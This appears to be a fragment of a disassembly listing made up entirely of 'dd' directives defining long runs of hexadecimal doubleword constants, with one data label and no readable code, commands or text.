		dd 322D03D1h, 5F88526h,	552D21E2h, 49B64111h, 35587F80h
		dd 17065A8Eh, 39E68DA0h, 1602413h, 8188DC4h, 0F928218Eh
		dd 68B0C83Bh, 0D6923CF8h, 0D19A4B95h, 0D47C27F4h, 0C7C081D4h
		dd 30A49BBh, 3EE00CC1h,	76833A2Fh, 1AA54A94h, 0D4E0C03h
		dd 0E6015641h, 42088328h, 2042140Ch, 0F76B2C41h, 19A34EA0h
		dd 1DF73E10h, 79D3D42Ch, 0CE813540h, 7BDE745Ah,	124B4939h
		dd 7089680Ch, 8C4A62DBh, 6E83ED27h, 9D1789Fh, 43E10248h
		dd 0FD25D676h, 6F89F6B1h, 55C474B2h, 0C27D91F7h, 311E64C5h
		dd 348C358h, 421A71B9h,	0B568F129h, 0B814603Fh,	56483693h
		dd 0AFBA00CAh, 0E91C4B30h, 0AD295F3Bh, 46D7B5DFh, 5D01EDF5h
		dd 35D92BC8h, 7DD20C82h, 0A8554E7Eh, 0C340806h,	4200145Fh
		dd 5B6BDC46h, 383229E9h, 0B13016EBh, 0ABDAEC22h, 2B816C3h
		dd 565935Fh, 0E443F3AAh, 0E9930219h, 0B9783C0Ah, 0FDB044A0h
		dd 50400FB4h, 90C01EB4h, 161C9077h, 4D4308Eh, 0DB75E50h
		dd 0B1F87258h, 21EF1957h, 6A91CF8h, 2AC606B2h, 0C26822Dh
		dd 12B91702h, 0E0F309C9h, 0BAD280E5h, 79B13C52h, 9D7BD32Ch
		dd 0DC454B35h, 4E2081FDh, 2620F759h, 167897D7h,	0F210E92Eh
		dd 893C60A6h, 7EE63B77h, 4768308Fh, 455C4A0Eh, 0B089065h
		dd 5CE7AAE9h, 0E255722Eh, 9F845B79h, 97550956h,	0F479B792h
		dd 3B65B460h, 24BF9431h, 6B2583EDh, 0E9A80D67h,	80824C6Fh
		dd 0DC478C6Eh, 0D6A6C15Bh, 40207111h, 1B5D3EE6h, 0D9FD385Fh
		dd 93050841h, 8C30F013h, 0C6760868h, 0A7F467B3h, 0C8ED555Eh
		dd 403BB281h, 0A37E9A26h, 0AC7B5524h, 448A10BFh, 58BB94Eh
		dd 92BACC5h, 999DDBC1h,	34C11204h, 6CF00B56h, 0C618DD8Eh
		dd 6F14C1CEh, 6B40B2Dh,	1C4065F0h, 90A7EADEh, 0BD017BA8h
		dd 0EB80A345h, 62B307ACh, 99680455h, 0FA71EA37h, 743FED92h
		dd 81410087h, 402DE6C9h, 85684C0Ah, 0BE608639h,	676D0F6Fh
		dd 0A3997266h, 0A2303C17h, 0DBBF26BAh, 0E1D07C9h, 305FFA31h
		dd 0F1895AD6h, 585C5497h, 0D99F5FC5h, 0B289BCADh, 5BEA0127h
		dd 63331A7Fh, 0E037C20Eh, 0A240586Bh, 70180FCh,	483E0435h
		dd 0EC4AA364h, 0BEED0266h, 0F64BE476h, 724A0A18h, 0C8C98183h
		dd 0D923F66Dh, 0D93DCCF1h, 0E9035F7Ch, 3C534266h, 310B6D1h
		dd 25697D80h, 0B7F9CF29h, 5098AF3Ah, 4C8499h, 5F1C96BFh
		dd 0FF43E90Bh, 8071D3B5h, 0C380D3F6h, 0D8522811h, 0A9680A0Dh
		dd 2E888512h, 0B2BA0113h
		dd 21285A7Ch, 81FC1009h, 4B1DCBE5h, 0F59E092Eh,	0C2CF48D9h
		dd 0C6B496Dh, 9EE95548h, 53ACE7A8h, 10AA6818h, 0BDDC4267h
		dd 9D417792h, 4F6C739Ah, 99E3B037h, 287E0B03h, 0AF6959EBh
		dd 5007DA58h, 0E6B663h,	3675EF89h, 0FA01736Dh, 2430DB95h
		dd 0B4E17DCh, 0CE074AEDh, 27F8918Eh, 0EA6C09h, 2FE97744h
		dd 3083D0F7h, 2D0A01E8h, 0F3EF7341h, 0D5EA37F2h, 0C9A6D975h
		dd 2B17F010h, 7F5AB2C9h, 0E2DA4C6h, 0C0349282h,	9FF795E8h
		dd 0BF300B46h, 0F3BE22FEh, 2852E38h, 41738231h,	86F0314Dh
		dd 0D1091A4Eh, 2167F57h, 68525F05h, 0A0443241h,	46F85A55h
		dd 99A5BCAh, 0D656FACEh, 1853EF60h, 4C2DB8C5h, 84190DFh
		dd 0F9B3728Eh, 6CEBE13h, 41C42C2Dh, 0CC535D27h,	0BE560578h
		dd 0AE1E5E90h, 94A0CC0h, 20E9E42Ch, 0D8F7E35Ah,	42257536h
		dd 0BA8BD44Ch, 0E61E1F7Bh, 162C962Ah, 0AABF3155h, 0E44749D8h
		dd 67979A22h, 32348D70h, 0E5B02A3Eh, 7D451835h,	6B7A8A0Ah
		dd 168762Fh, 1C374C26h,	3EE5B8C4h, 0E98498EBh, 0AF011F0Dh
		dd 0F73DD6A2h, 4D022DFCh, 0EBB57151h, 0A57649AFh, 0EE7D20Bh
		dd 394C1C14h, 0DAA25B9Fh, 0CA2FF25Bh, 531293B2h, 0DFFEE6C4h
		dd 9F867620h, 3BB74214h, 0AF238E9h, 41F7C73h, 214E8CCAh
		dd 78D8AE48h, 7EE916DAh, 0FC1656F6h, 0D5701ABDh, 4BECF110h
		dd 78A90955h, 0B5BB7E8h, 0FDBD688Ch, 1B5F2AE9h,	55F30590h
		dd 0B9C337E3h, 2507480Bh, 14814C27h, 0A3287868h, 26DF0BDEh
		dd 7EE91171h, 3F425AEDh, 868060Ah, 0AD00B31Bh, 8E47942Dh
		dd 29F9B04Ah, 4BB6A850h, 32467B02h, 925D2EA7h, 0E9FA50D4h
		dd 9E8A52C4h, 32D78806h, 0C4C9F3FEh, 0AB458858h, 5607F01h
		dd 0B92F5F41h, 0E9579895h, 44DF6B79h, 88EC3ED7h, 0BEF4E90Eh
		dd 138611DEh, 0A4B8FD03h, 0ADB1AC97h, 2B022A02h, 9DE49E7Dh
		dd 0EB5E90A4h, 971447F0h, 12B52E4Ch, 0D9E7752Fh, 72637625h
		dd 0A03167DDh, 161E4BAAh, 4D3F05E4h, 164CC8E4h,	1DDB5F14h
		dd 140807ACh, 0FA255629h, 26F5BC0Dh, 0D6DE192Ch, 0AC3D4BF2h
		dd 0E3413605h, 26200A0Dh, 0C1ACE501h, 0FE376703h, 4834EF58h
		dd 25959EBEh, 0C25305Fh, 355822Dh, 383DB5Ch, 11BBE541h
		dd 0CDB0564Eh, 6F2E1EC3h, 0C70E1025h, 5667C91Fh, 31DC2F68h
		dd 891D71C2h, 0F92A8479h, 0BD36CCBFh, 82ED1AF8h, 23209634h
		dd 6D5D42Dh, 0C25E6426h, 0FA04720h, 0DE215D59h,	96FB1E24h
		dd 9F0F384Ch, 841FF16Ch, 0DAEEE441h, 0F0641653h, 4E7974A3h
		dd 524209E3h, 0C2C6705Eh, 331D2678h, 14F3A7BAh,	404D0BBEh
		dd 1239002Bh, 58BD0B3Fh, 0E4244953h, 3BD7ACA1h,	565FB0DAh
		dd 19870F17h, 2D1DA7B0h, 0CD5C306Eh, 5CF9010Ch,	0E9123DB5h
		dd 358A6809h, 908DB6F1h, 9E6E1084h, 26B2034Ch, 8095C780h
		dd 5EB8E9D7h, 927AB2F2h, 5455AF71h, 0E0B02D78h,	71B70125h
		dd 0E0E4EC23h, 0B0013F27h, 0B9514Bh, 0B7518FEh,	4D7FE181h
		dd 0B898977Dh, 89A0F583h, 70B3046h, 21A6A7E9h, 7D87687Dh
		dd 0B326907Ah, 2AB05141h, 88604063h, 0F94EB9DCh, 4846F76Eh
		dd 0CE4A20E0h, 9F29DC5Ah, 0DD0AE609h, 614302D9h, 2F74CE7h
		dd 4519684Fh, 0BADEB081h, 0FB2F6652h, 40529A0Bh, 2D1D1FB4h
		dd 9C01620Ch, 807D58CDh, 40A0F3DAh, 32E96D75h, 0E74D4778h
		dd 13CE2040h, 9269925h,	0BDDA8AA4h, 21705492h, 0B503C968h
		dd 2FCB4D98h, 0D061FD25h, 0D8681658h, 0D5FC246Ch, 0F567F8D2h
		dd 258963A8h, 0DAD61AABh, 540700E9h, 0BD0A1F17h, 881F7FAh
		dd 17342E5Dh, 7B4B4BAh,	0B56ABEB1h, 6A09513Ah, 0E6C3B200h
		dd 280B6675h, 8095FB01h, 6C555108h, 1BC82FBDh, 2AE19570h
		dd 0E3CBB4A8h, 6D4162Ah, 65BEC80h, 48FBFD70h, 0FF7FF5h
		dd 1346E6BFh, 74F4473h,	446F9A1Dh, 0A15EC06Bh, 635E332Eh
		dd 0B906AEA6h, 2255F877h, 1DCFDE09h, 0F36160E9h, 3F0E84EDh
		dd 0DF43522Dh, 4B7C14C1h, 0F1F4490Dh, 58831776h, 9CEC1E41h
		dd 5B953001h, 7F485D68h, 69BBD6D4h, 31242028h, 0FF0CEF69h
		dd 3672EF00h, 4C9F3A59h, 480612C6h, 239B6BCh, 4C65530Dh
		dd 92F05626h, 0EF788522h, 97CA90DCh, 8BC274F9h,	90394880h
		dd 8F98972Eh, 1793F00Fh, 4D5F7005h, 7395FA81h, 5252303Ah
		dd 19630768h, 692D7953h, 9DF8A5D9h, 6C90F751h, 5F44D2AEh
		dd 72A65E02h, 0C3869A25h, 0EFE63480h, 0FA17A970h, 3B1C535Bh
		dd 5A92FC9Dh, 0DF580109h, 0F168D710h, 0AB6734Ah, 0B1FFBC97h
		dd 0E7D5D828h, 80D04260h, 68185A53h, 27CF1EFCh,	0E1D18398h
		dd 50904C79h, 3C391EF2h, 0E15D505Ch, 8FBD2AFDh,	0C3B28F89h
		dd 215ACA18h, 38E9D144h, 9E702C0Dh, 0B0AAC35Fh,	0DFEBBB03h
		dd 0DAC3DE1Fh, 3BA9F810h, 3399D031h, 2E06ABBAh,	0D92688B9h
		dd 0FB09A4A0h, 706FCFE8h, 0E90DE10Bh, 9D752FDEh, 28A2FD88h
		dd 46AC0BE9h, 83C30B40h, 2C49B3F1h, 0EE65E742h,	1F8653F5h
		dd 562FB0E9h, 12F72C3Ch, 60AB51E2h, 1358B03h, 15ACFC9h
		dd 0CB4E5DB1h, 0BE14C520h, 91732FF4h, 6CB89244h, 0B1AA5C30h
		dd 184C7E16h, 0C42148B5h, 30075F66h, 26E872CBh,	0B9E998DDh
		dd 0B0391F08h, 0EDF8665h, 120CC901h, 0C7A165Ch,	7E3DF8EFh
		dd 35589542h, 0C410883h, 0E9FC4814h, 1134A13h, 0EF684AD1h
		dd 151781ACh, 6550FEB1h, 4CDEE4E3h, 0C19005Bh, 2333414h
		dd 0A69A485Ch, 6999BEEBh, 0E152387Dh, 1AF1BB86h, 0E1F7DD8Dh
		dd 52A5306Bh, 61A74B22h, 0DA710B2Fh, 0F5D282EEh, 4310E000h
		dd 409F1768h, 0B627C308h, 0B4F5E915h, 570CED82h, 0BA0071B6h
		dd 6B932037h, 77912768h, 7B070E18h, 2D1CA700h, 123B7123h
		dd 0B0A8B831h, 3370261Dh, 5C15BB5Ah, 3F6C70BFh,	79C1EC16h
		dd 0A93CFDEEh, 3A1DF01h, 0BBFC2C93h, 54E08208h,	8FD03070h
		dd 0B9B2D00h, 97056CFDh, 3DF0F08h, 794D001h, 0DE11A27Ch
		dd 0CE405AA1h, 9F1322AAh, 0CBFA011Ch, 20AD58FEh, 95B94E1Bh
		dd 0B9ABC57h, 75E82158h, 22D54A9Ah, 0A1790C0Ah,	21446874h
		dd 0E99F607Bh, 0F7829A16h, 0AB205F4Ch, 0D8F70182h, 5E2A4625h
		dd 0A291705Dh, 7F870140h, 8D660F5h, 8105E5C1h, 398CCD05h
		dd 0FD012ADDh, 0CE856DE9h, 89EC043Ah, 368E3EAh,	0BBE9D529h
		dd 0B3FB8496h, 0DD631261h, 5425BBE9h, 8D4CF6F8h, 9D680B2Fh
		dd 79263013h, 9B40823Bh, 95AA3036h, 60B0F042h, 0F397F589h
		dd 0BE08837h, 8E6C104h,	8153C0AAh, 0F7131BF6h, 12A00153h
		dd 5AFB0905h, 67D80E1Dh, 40760782h, 0B9F17758h,	90C2A25Ah
		dd 4336091Fh, 0A657442Ah, 0BF113A28h, 94DF47E2h, 97E915F7h
		dd 0F2038116h, 5AD12876h, 20EACF9Bh, 0EE27DA7Eh, 2EA25A2h
		dd 0E91369E6h, 27BE5A73h, 893E8298h, 0E2BB4FA0h, 45012670h
		dd 28B4E381h, 0C3B7F43h, 0F7144B1Ch, 40BA621Eh,	520713BBh
		dd 0FD668A0Bh, 0B951BF14h, 0B4C93E43h, 82531920h, 0A9CE9977h
		dd 0F3BC58F7h, 0E810416h, 0FAF096Bh, 0E6E2ECC9h, 0B74B1E7Dh
		dd 0A95ADDC6h, 0D5F7F205h, 3226BE80h, 6842091Ch, 616671A4h
		dd 1861D20h, 5640D40h, 0DF483D31h, 0D093E497h, 607E3508h
		dd 66118225h, 0DF68018Fh, 59129879h, 93862F29h,	0BF40B0A3h
		dd 1CC639C0h, 30F7C6AAh, 396821C9h, 659312CAh, 0C6D4EC58h
		dd 9710D3FBh, 7C7200D6h, 94878B50h, 5AC696FDh, 4C868E5Ch
		dd 0D04889ECh, 0EC4886F0h, 5F07812h, 77224035h,	0CEF6827Ah
		dd 790C7809h, 77E69D15h
dword_49D85C	dd 1456CD26h, 66826665h, 0E003D763h, 812CE085h,	5B58D5CCh
		dd 0F2E65C88h, 0CB79ED25h, 5C6C6804h, 0DCC519E8h, 79CCBA61h
		dd 222812E9h, 5BB6D801h, 0E468DBC2h, 0E949A727h, 82547D95h
		dd 0C15B73A2h, 0E9F015A8h, 96D09Eh, 0FC0EE581h,	0A604937h
		dd 3BEE4119h, 42F09A99h, 2853BFF2h, 0C0D2C937h,	0AE19F53Dh
		dd 487F3B8h, 4F93E658h,	5CD0DFBDh, 32B80311h, 0C25B585Ch
		dd 5650D693h, 0DE200C90h, 5B6614C4h, 0A5C75A53h, 6F5D09BFh
		dd 94D5A52Ch, 1E56485Ah, 69BD0F20h, 73C0B4F7h, 2023B855h
		dd 5F7607E7h, 222D7C2Dh, 829059EBh, 2C806h, 0ABB1515Bh
		dd 73B2804Ch, 30B9C100h, 0E4C059CCh, 0EAF4F805h, 0F6C419FEh
		dd 0CBB8DCh, 272FACB8h,	425C7B65h, 75140D00h, 3A2D395Ah
		dd 3BAE77F1h, 44D303D2h, 0C0437EDh, 74F627FBh, 841F2B9h
		dd 0A5140CA0h, 0AB529309h, 9EA9A78Ch, 0D7290474h, 0CA67EF5Ah
		dd 54B08FF5h, 3FF6DBAh,	9E287E28h, 0D680553h, 0C2210F1Fh
		dd 0D87FD5D7h, 0D865B719h, 0A86AE984h, 0AE0FBCDh, 82E6BCB5h
		dd 4228727Ah, 913D8077h, 4C6B0E05h, 21184489h, 0A5F152C1h
		dd 3927640Bh, 531BC001h, 583489F3h, 2C50BB4Eh, 695F2078h
		dd 29BFBD25h, 86354796h, 0C5078F1Eh, 40DC7A6Fh,	0D66132B2h
		dd 0E2404A50h, 3E0C2AA6h, 12E2946h, 0E5F74945h,	386F8CB1h
		dd 0E87D6830h, 82305926h, 0BC140A1Bh, 77C42F82h, 514B8202h
		dd 0CF85DF80h, 893F16EEh, 0CCF6AEF9h, 5748668Eh, 35D896B1h
		dd 906F7AD8h, 4BDDA169h, 6D3C2B72h, 0D139912Ch,	5AD42053h
		dd 8A76C7A4h, 0FE78EF25h, 1E686156h, 60683B64h,	0CDDC975Ch
		dd 84FC6395h, 0FC13DFADh, 0D050067h, 6A5E2BC7h,	75260B25h
		dd 805F65A2h, 87F60DFh,	3A030E9h, 17CFC28Dh, 0F7537827h
		dd 2DF6052Bh, 2FFE4E08h, 170CA3F0h, 0E6F4EEC2h,	55A3A21Dh
		dd 0AFEC1DDBh, 0B0275C75h, 0C4D5ACD2h, 8EC4AB8h, 326820D8h
		dd 3F6B7F03h, 28D3015Ah, 80D0C306h, 0BAABE90Ch,	76AAB78Bh
		dd 3E6A0446h, 592DC773h, 5A134676h, 0D1C7ACB8h,	1B6BE1EDh
		dd 31BC2F01h, 2FA4BBF7h, 0D3D2BA59h, 544775D8h,	890676A7h
		dd 6C105587h, 0C425A209h, 0E2C05C96h, 8777CE01h, 44A5AA25h
		dd 0F4DBB006h, 0D831169Ah, 36D98D5Bh, 1D5424B6h, 0F35E2310h
		dd 401917D4h, 0CAC962AAh, 36756F42h, 0B02629C3h, 0CF018924h
		dd 0F624F4DBh, 42BEA71h, 0AA435D8Dh, 9AE133DCh,	895A13E4h
		dd 0C3231CC5h, 231C43F5h, 0C152EDB0h, 0E936FD04h, 0C5F3DF0Dh
		dd 5EDC5332h, 5B4FCFF0h, 0ACBA1204h, 0F84EA4B3h, 0BFA8E124h
		dd 2D5C4DBEh, 0AB105648h, 2F2958E4h, 0D7D4426Eh, 14108167h
		dd 687C1CF2h, 13FAB9C0h, 49150427h, 0F90F64E9h,	0D568824Ah
		dd 81177145h, 6AA85415h, 18DDF857h, 5F3CE10Ah, 0AA02B14Fh
		dd 0C028EE32h, 266C2C33h, 2C61C65h, 64224F9Ah, 0B89D22DDh
		dd 814600EFh, 0A302CCEh, 30EE0CE5h, 4B320318h, 415EF109h
		dd 0C85840D7h, 0E939A077h, 69EA4FD9h, 96CA6F98h, 8E18012Ch
		dd 35E55D5Fh, 99BD88A3h, 2F98AD5Ah, 0B2928E3Ch,	5B091F96h
		dd 1F998445h, 0C4BA0594h, 0F43CBF84h, 1C573121h, 2FE40366h
		dd 863C65CDh, 0EB77BE4Ah, 5D8CA9F9h, 13B0833Eh,	6A28F22Ch
		dd 0F7D83E38h, 2CC6812h, 0E3B0A2CCh, 0C4E2D47Fh, 8CCF373h
		dd 172DFE9h, 1157A968h,	39BD6078h, 2570324Ah, 0AC545758h
		dd 60534A8Dh, 877EB993h, 86503727h, 2C5DDC9Dh, 9E7CD89h
		dd 0B9130109h, 0AFF447FAh, 0E2A3592Fh, 714802E9h, 51035359h
		dd 0CE383D68h, 0E2E2C734h, 0EDF4A0F7h, 17BBC7F6h, 0C0EF29A1h
		dd 113097DAh, 6BB85C5Eh, 2106985Fh, 957478B0h, 0B3AD0140h
		dd 0C11B96C3h, 42DD31D3h, 0A8DBDE90h, 964BE36h,	6E8A4C42h
		dd 5155D680h, 81011277h, 0E53B74CFh, 40C64733h,	58FCA97Eh
		dd 0FB1622F0h, 0A148BF5Fh, 0D3C402DBh, 4459EDBCh, 9754702Fh
		dd 0FFE91254h, 68618F65h, 0C9891B69h, 0E5B3BB89h, 226F0590h
		dd 0AE38103h, 1F577E61h, 446CEBCh, 0C1DFF713h, 399FB7F0h
		dd 64800FF5h, 38524448h, 8D2EDAA3h, 0F0299626h,	0CB96A77Bh
		dd 53055F00h, 23A2107h,	76CBBD55h, 0D38048CAh, 5FA94C1Eh
		dd 0A20CE5ECh, 0C77117Bh, 612F0285h, 74CCE96Bh,	9989F8A5h
		dd 0DEC18212h, 0C07D8040h, 273BCECFh, 53EA16DCh, 135E080Ah
		dd 41EE0B2h, 0BEC42072h, 0D596366Ch, 12757394h,	430902C8h
		dd 5463E917h, 7858BF2Fh, 0BCA9F419h, 0BAFF257Eh, 0EAFD8632h
		dd 26DAAC0Ah, 0C9AEC6B9h, 0E9C15A76h, 519D2C59h, 8D1DC9C3h
		dd 2896B35Dh, 0AF8130h,	2FEF5D6Ah, 67D26858h, 0B391A9Fh
		dd 0C88DD0Eh, 85C9ABC7h, 855E389h, 5200E6C9h, 0BE3B59BAh
		dd 0BCC2F631h, 25F63DE0h, 0EAA0F00Bh, 4BFB25D2h, 4E65894Ch
		dd 0C21092B1h, 0B260A1E9h, 453607A3h, 0BBD14037h, 25771102h
		dd 9E451C75h, 4C98881Bh, 3BB85816h, 1EDC5F2Dh, 3AD212BFh
		dd 93925E67h, 3DE40B4Fh, 0F8DD2927h, 0BF40BF0Bh, 7F256843h
		dd 8BA7D942h, 87E8019h,	735E87Ah, 0E5E98017h, 0D30A9558h
		dd 0AE0782A8h, 2480CDFEh, 3BC7BE42h, 0F7BAF562h, 3D518162h
		dd 5296B441h, 0F5C8E6FDh, 2076985Ah, 52DF1C16h,	0ECCEDD5Fh
		dd 0F8E5AF59h, 5EE9EA2Ch, 0FB52840Eh, 7B30CCD7h, 987F0351h
		dd 575F0928h, 8DE069FFh, 0CC9A3E41h, 0DC6EB52Dh, 0FAE9F073h
		dd 5A1235BEh, 64C5E901h, 46F02F33h, 56B2A6EFh, 0E913218Bh
		dd 0BBC78075h, 5A133C57h, 8EBD2112h, 570334h, 2D65C282h
		dd 28B53C2Ch, 5E170813h, 3424E2ECh, 4D458539h, 678AC081h
		dd 54985131h, 78D15B01h, 25ADE9EEh, 161D1C2h, 447441F1h
		dd 50F8DB5Bh, 494F80E8h, 0A82D7BBDh, 3A886482h,	0B6159064h
		dd 0C2F80103h, 590A3E68h, 0B6029512h, 9315F17h,	1BD429FAh
		dd 0E2527669h, 7B6AD7E9h, 273617D7h, 76B09D7Ah,	58B798BFh
		dd 6457B48Eh, 0B9CEA0DEh, 0DC6C900Ch, 12C0F231h, 5643F608h
		dd 8141AE04h, 383651CBh, 0E016B0AFh, 39129FF6h,	3BA1A70h
		dd 0E9D787B3h, 14447E8Ah, 2BBDA4B7h, 497A895Eh,	2F9C9631h
		dd 102D8A00h, 9D42B37Bh, 0E2034F23h, 0FE97AA30h, 4CCD5FC8h
		dd 0FB208ECEh, 6C099D90h, 0D07B4718h, 0F9595E14h, 70AF92DAh
		dd 5F77BA52h, 0A640C93Dh, 5A17A4EAh, 7F2DC040h,	0EA226117h
		dd 46AA05D1h, 99C70127h, 84267DFFh, 24AADFDCh, 82099470h
		dd 987ACDF5h, 572CB905h, 0AB0F1564h, 0F7F9E605h, 748B8D2h
		dd 5908B3E7h, 0A0806F64h, 8909B024h, 0C825F79Ah, 8032E705h
		dd 256C3D3Ah, 0C75B84E9h, 0F09E3C96h, 29D913FDh, 0D16C0BF9h
		dd 4124E380h, 0E9170342h, 0BD76A73h, 0AAE49FBFh, 56F9920Bh
		dd 0FE2417Ch, 9A84447h,	0C59C1E4h, 0DB35A66Fh, 14B8010Ah
		dd 291F7539h, 24C662C7h, 0B1813AD5h, 2883B21Ch,	67FC16Eh
		dd 16291h, 176F4FA4h, 238F281h,	0E9194C12h, 0ECFDE032h
		dd 3769A1C5h, 0CFEA8000h, 2DD4203Dh, 0BB78C0C0h, 88441E96h
		dd 13A7BE73h, 5E7AA0C8h, 31C323Bh, 706660CBh, 0ED180026h
		dd 0E9BEFDE6h, 0E0A8B096h, 1AB55DEEh, 3EE25FAEh, 3009C75Dh
		dd 41AD6808h, 0C8B79997h, 0FD1FB096h, 0ABA1D229h, 0A9E7813Ah
		dd 0D177C27Dh, 0BE07B5FFh, 124D088Bh, 0AC098213h, 928BCEB1h
		dd 2C0F38AEh, 0D2CAFD5Fh, 4E3EA611h, 0D0424AC9h, 882273F9h
		dd 0AD003050h, 124A6A05h, 95683D72h, 7D378CDFh,	6034212Dh
		dd 61A2CEh, 82052A19h
		dd 2D1ED315h, 4201BD12h, 0A0312A0Bh, 0EF805927h, 2FF7E661h
		dd 137653E7h, 0E537E985h, 0D3AB71D4h, 0C5EE3ED7h, 7A12A0F0h
		dd 4A0039A1h, 1BB366C8h, 7ED3A04Dh, 4E310063h, 8E2C142h
		dd 0E0BFDAF7h, 0D7C8A10h, 0C4E90C94h, 0B3E47F64h, 0BA85F25Ah
		dd 4C31275Bh, 0C202E9A5h, 0F703EF7Bh, 1DD67ED9h, 0BF6F3F75h
		dd 6A3C002h, 0D05F09BDh, 263116DFh, 0AB68014Ah,	0FA0C9974h
		dd 2EE781FFh, 4431F577h, 90522A60h, 6B350BFFh, 2C0423CFh
		dd 0A0C58703h, 21499066h, 645EF130h, 0A1106420h, 0BC2ECAB1h
		dd 59BDC193h, 0FFCAEB43h, 11F31402h, 8E89D47Eh,	0F70E94E3h
		dd 50668DAh, 6EF1008Dh,	4EEB8145h, 37B05017h, 3EAE2BDh
		dd 4535808h, 69350A66h,	4727EE24h, 51A18ECh, 0F71D186Dh
		dd 89F90DDh, 6076DC51h,	71E7CD06h, 1187523h, 0D352C6E5h
		dd 7C5DE929h, 0CA01C55Eh, 5B17CFAEh, 2CE96978h,	0C3145FDDh
		dd 104E5BD1h, 0BF0289A8h, 696E396Bh, 0A6FF7C61h, 68024903h
		dd 0C006FE67h, 3980981Ah, 0D3519001h, 0A424E7F4h, 85964A2Ah
		dd 0C2BBE7Eh, 0AE425E18h, 0EE287E69h, 9BFC93Fh,	96CFD48h
		dd 9D52C40Ch, 122D7763h, 50368D0h, 205D80Eh, 0FC83E907h
		dd 10492EF6h, 0BD26A09Eh, 5E9D979Ch, 8197741Ah,	10F30EFh
		dd 0F499212Bh, 52396B98h, 0BDFB527Ah, 4BD9396Ah, 0F3672A99h
		dd 0FB25D45Eh, 4B5CAF78h, 7FF2A151h, 30E9DBB0h,	0BD71F612h
		dd 23757CD0h, 8C4B69F6h, 0F2571AC8h, 0FDEC5B7Bh, 87BA1214h
		dd 79876C5Eh, 0B45008A3h, 1322C509h, 605C8A68h,	2E382AC6h
		dd 51273E7Dh, 0B496666h, 919430Bh, 0E5C0F674h, 3B9A08F6h
		dd 9358C12Ch, 25B17C10h, 5F02775Fh, 89D19D42h, 683E2427h
		dd 9E55DABh, 33F5F6B3h,	7056F926h, 0EF87342Ah, 4BE66BD8h
		dd 8999BDF2h, 0EDAF582Dh, 0D575612Ah, 9C786CA8h, 49FC2D4h
		dd 71145129h, 0F2ECC4EBh, 152EC42Eh, 4F8EBF00h,	5ABD6C72h
		dd 1DD64892h, 9DF0C107h, 0B92BE2Bh, 5F1B5B0h, 50779E2h
		dd 0D6324BBAh, 0DB3DE345h, 0FE933BEDh, 0FC39BE04h, 2D12D5E3h
		dd 961EB9DEh, 1C31DF54h, 5C805671h, 8EA99305h, 0BBC3FCA3h
		dd 6EF32DC3h, 0BB426BA6h, 0FD880147h, 0E94E5C5Bh, 0FBC9AE25h
		dd 404E1396h, 6B0BFFFh,	0D6B263DAh, 0F00BC837h,	0B3BEFA24h
		dd 6DE98417h, 0F8BBFBB0h, 0B53274Ah, 0F3E8945Eh, 80253619h
		dd 5C1B4720h, 0FD004A4Bh, 0E9446460h, 929DA652h, 2DBF1CE6h
		dd 0CBF4EA42h, 3DB9319Dh, 3F2793D5h, 0C3C0CAA8h, 1BA45571h
		dd 31953498h, 6F12DB5h,	0FD296530h, 4A93E07Eh, 0D8F8F155h
		dd 0C49791F8h, 0A8A5FD46h, 0E282EA59h, 96483A68h, 204798ABh
		dd 595BFA61h, 0E2D2C1ADh, 5B090597h, 0C1AF0BBAh, 7B323848h
		dd 5CAC5BC0h, 681A3867h, 0C3CE11A6h, 0F60EFEA1h, 604EED80h
		dd 0EA303BC5h, 8F681759h, 0B66C3018h, 0EB3880FAh, 0BAF33A27h
		dd 0F0E98BC3h, 7A3EDC60h, 0EC6FAF7Ch, 9088CD90h, 7D50BDB0h
		dd 0FA4AC5F6h, 0FBC600ECh, 0C100264Dh, 830503E0h, 0FA4B577Bh
		dd 31234BD3h, 6A5FB0F4h, 0B72BDACCh, 41B5AB80h,	6617E828h
		dd 0B8F85A59h, 1046E982h, 1240BFEAh, 1A091CF4h,	0DFB875Ah
		dd 0C56F0848h, 0B7910164h, 464C9D7Bh, 0A09D06DCh, 965A8EBCh
		dd 0E6810274h, 19F3552Ch, 9A5E30E2h, 25845E2Dh,	36774B48h
		dd 5FE13CB7h, 169AB25Ah, 3DBB64FCh, 1F93FCFBh, 33E642A0h
		dd 0ED83E6B8h, 1376D01Dh, 34B6CE81h, 3B30668Fh,	0EF3712F3h
		dd 6CA6017Eh, 3919D628h, 5E0840E0h, 8AEDE92Ah, 25EE7890h
		dd 0D95DDEEDh, 0E84C09A4h, 2C6BAD21h, 0D98F607Dh, 0F1295B2Eh
		dd 203D3626h, 686609A1h, 90DD7F50h, 4F305F18h, 1765F2D3h
		dd 0AB64BD6h, 4A33BB4Bh, 5A7EB65Ch, 0FB6D345Fh,	2D5550E3h
		dd 0EA42342Bh, 0E171A091h, 568109Eh, 0AC2F061Eh, 17110227h
		dd 5589B003h, 51754942h, 72E9E17Ch, 6282647Fh, 204C4013h
		dd 8FF38C37h, 0BA1E4F2Fh, 4B419E0Fh, 532729F9h,	0A2B82FCBh
		dd 9B2EE953h, 0AA43393Eh, 0C359CA0Ch, 0F0178E3Bh, 871214C2h
		dd 7820AA7Ah, 62C1BB03h, 9F893EDFh, 12AB75C4h, 688BEEF2h
		dd 0B14E8942h, 0B4AD285Bh, 2C56CA88h, 0A8A6CCE9h, 73922665h
		dd 97A3B21h, 76FB072Ah,	10D89809h, 0A6447B97h, 0E1D64930h
		dd 2029D025h, 81B5D958h, 0A561CF20h, 401A8D20h,	94E687Eh
		dd 66DF76ACh, 51BB334Bh, 475FFC2Dh, 0A5072CD3h,	21891AF1h
		dd 9ED66D1h, 3935685Ah,	0E9C1E374h, 0EC04A62Ch,	7D14043Fh
		dd 0A2BA11DAh, 1FE98300h, 0CFA925DEh, 53679E56h, 9831A390h
		dd 27C39862h, 13ACD80h,	0A4789FC1h, 3908FA0Fh, 16E22D6Ch
		dd 95DE1EFDh, 222C1BA2h, 0B8664FF7h, 171244CCh,	0B2F1B93Ah
		dd 0EDF1555Ch, 3093C581h, 0E53E5D14h, 5F08024Ah, 0BB5788E2h
		dd 8B905F6Dh, 51900004h, 2068A0B1h, 82E19148h, 0C1E9CB88h
		dd 56279C76h, 4C551EFDh, 6612120Ch, 20E27B6h, 8BAF1679h
		dd 5C304AB6h, 0B7E3C9E9h, 9F0914F9h, 72795470h,	35F7ED77h
		dd 0EDD9FF4Eh, 1A531364h, 55685B54h, 0C918FD7Eh, 13AAED61h
		dd 0AF7C9A56h, 0F0C0272h, 8436E612h, 5C04A9A2h,	9960EA53h
		dd 784746C3h, 0CDE9804Fh, 71011535h, 1E5875BDh,	5504C509h
